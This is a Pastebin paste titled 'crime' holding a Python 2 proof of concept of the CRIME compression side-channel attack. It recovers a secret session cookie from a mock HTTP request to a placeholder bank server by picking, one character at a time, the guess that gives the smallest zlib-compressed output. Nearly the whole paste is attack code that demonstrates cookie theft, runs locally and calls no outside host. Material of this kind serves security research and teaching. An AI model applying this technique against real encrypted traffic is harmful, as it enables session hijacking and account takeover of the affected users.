Advertisement
Guest User

crime

a guest
Sep 11th, 2012
3,015
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.07 KB | None | 0 0
  1. import string
  2. import zlib
  3.  
  4. HEADERS = ("POST / HTTP/1.1\r\n"
  5.        "Host: thebankserver.com\r\n"
  6.            "Connection: keep-alive\r\n"
  7.            "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  8.        "Accept: */*\r\n"
  9.            "Referer: https://thebankserver.com/\r\n"
  10.            "Accept-Encoding: gzip,deflate,sdch\r\n"
  11.            "Accept-Language: en-US,en;q=0.8\r\n"
  12.            "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
  13.        "Cookie: secret=7xc89f+94/wa\r\n\r\n")
  14.  
  15. BODY = "Cookie: secret="
  16.  
  17. def compress(data):
  18.     c = zlib.compressobj()
  19.     return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
  20.  
  21. cookie = ""
  22. while len(cookie) < 12:
  23.     smallest_char = ""
  24.     smallest_length = 0
  25.     for c in string.printable:
  26.         length = len(compress(HEADERS +
  27.                       BODY +
  28.                       cookie +
  29.                       c))
  30.         print repr(c), length
  31.         if not smallest_length or length < smallest_length:
  32.             smallest_length = length
  33.             smallest_char = c
  34.     cookie += smallest_char
  35.  
  36. print "final result: %s" % cookie
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement